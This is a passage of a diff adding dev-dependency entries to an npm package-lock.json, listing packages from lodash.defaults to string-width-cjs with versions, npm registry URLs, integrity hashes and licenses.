"sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.defaults": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.defaults/-/lodash.defaults-4.2.0.tgz", + "integrity": "sha512-qjxPLHd3r5DnsdGacqOMU6pb/avJzdh9tFX2ymgoZE27BmjXrNy/y4LoaiTeAb+O3gL8AfpJGtqfX/ae2leYYQ==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/lodash.difference": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.difference/-/lodash.difference-4.5.0.tgz", + "integrity": "sha512-dS2j+W26TQ7taQBGN8Lbbq04ssV3emRw4NY58WErlTO29pIqS0HmoT5aJ9+TUQ1N3G+JOZSji4eugsWwGp9yPA==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/lodash.flatten": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", + "integrity": "sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/lodash.union": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", + "integrity": "sha512-c4pB2CdGrGdjMKYLA+XiRDO7Y0PRQbm/Gzg8qMj+QH+pFVAoTp5sBpO0odL3FjoPCGjK96p6qsP+yQoiLoOBcw==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/matcher": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", + "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "escape-string-regexp": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mime": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", + "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==", + "dev": true, + "license": "MIT", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz", + "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=8" + } + }, + "node_modules/minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minizlib/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "license": "MIT", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/node-addon-api": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-1.7.2.tgz", + "integrity": "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "license": "ISC", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "dev": true, + "license": "BlueOak-1.0.0" + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-scurry/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "dev": true, + "license": "ISC" + }, + "node_modules/plist": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/plist/-/plist-3.1.0.tgz", + "integrity": "sha512-uysumyrvkUX0rX/dEVqt8gC3sTBzd4zoWfLeS29nb53imdaXVvLINYXTI2GNqzaMuvacNx4uJQ8+b3zXR0pkgQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@xmldom/xmldom": "^0.8.8", + "base64-js": "^1.5.1", + "xmlbuilder": "^15.1.1" + }, + "engines": { + "node": ">=10.4.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/promise-retry": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz", + "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "err-code": "^2.0.2", + "retry": "^0.12.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/pump": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz", + "integrity": "sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==", + "dev": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/read-config-file": { + "version": "6.3.2", + "resolved": "https://registry.npmjs.org/read-config-file/-/read-config-file-6.3.2.tgz", + "integrity": "sha512-M80lpCjnE6Wt6zb98DoW8WHR09nzMSpu8XHtPkiTHrJ5Az9CybfeQhTJ8D7saeBHpGhLPIVyA8lcL6ZmdKwY6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "config-file-ts": "^0.2.4", + "dotenv": "^9.0.2", + "dotenv-expand": "^5.1.0", + "js-yaml": "^4.1.0", + "json5": "^2.2.0", + "lazy-val": "^1.0.4" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdir-glob": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/readdir-glob/-/readdir-glob-1.1.3.tgz", + "integrity": "sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==", + "dev": true, + "license": "Apache-2.0", + "peer": true, + "dependencies": { + "minimatch": "^5.1.0" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==", + "dev": true, + "license": "MIT" + }, + "node_modules/responselike": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.1.tgz", + "integrity": "sha512-4gl03wn3hj1HP3yzgdI7d3lCkF95F21Pz4BPGvKHinyQzALR5CapwC8yIi0Rh58DEMQ/SguC03wFj2k0M/mHhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "lowercase-keys": "^2.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/roarr": { + "version": "2.15.4", + "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", + "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true, + "dependencies": { + "boolean": "^3.0.1", + "detect-node": "^2.0.4", + "globalthis": "^1.0.1", + "json-stringify-safe": "^5.0.1", + "semver-compare": "^1.0.0", + "sprintf-js": "^1.1.2" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "peer": true + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/sanitize-filename": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/sanitize-filename/-/sanitize-filename-1.6.3.tgz", + "integrity": "sha512-y/52Mcy7aw3gRm7IrcGDFx/bCk4AhRh2eI9luHOQM86nZsqwiRkkq2GekHXBBD+SmPidc8i2PqtYZl+pWJ8Oeg==", + "dev": true, + "license": "WTFPL OR ISC", + "dependencies": { + "truncate-utf8-bytes": "^1.0.0" + } + }, + "node_modules/sax": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.3.tgz", + "integrity": "sha512-yqYn1JhPczigF94DMS+shiDMjDowYO6y9+wB/4WgO0Y19jWYk0lQ4tuG5KI7kj4FTp1wxPj5IFfcrz/s1c3jjQ==", + "dev": true, + "license": "BlueOak-1.0.0" + }, + "node_modules/semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/semver-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", + "integrity": "sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/serialize-error": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", + "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "type-fest": "^0.13.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/simple-update-notifier": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/simple-update-notifier/-/simple-update-notifier-2.0.0.tgz", + "integrity": "sha512-a2B9Y0KlNXl9u/vsW6sTIu9vGEpfKu2wRV6l1H3XEas/0gUIzGzBoP/IouTcUQbm9JWZLH3COxyn03TYlFax6w==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/simple-update-notifier/node_modules/semver": { + "version": "7.7.3", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", + "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/slice-ansi": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", + "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/sprintf-js": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.3.tgz", + "integrity": "sha512-Oo+0REFV59/rz3gfJNKQiBlwfHaSESl1pcGyABQsnnIfWOFt6JNj5gCog2U6MLZ//IGYD+nA8nI+mTShREReaA==", + "dev": true, + "license": "BSD-3-Clause", + "optional": true + }, + "node_modules/stat-mode": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/stat-mode/-/stat-mode-1.0.0.tgz", + "integrity": "sha512-jH9EhtKIjuXZ2cWxmXS8ZP80XyC3iasQxMDV8jzhNJpfDb7VbQLVW4Wvsxz9QZvzV+G4YoSfBUVKDOyxLzi/sg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": 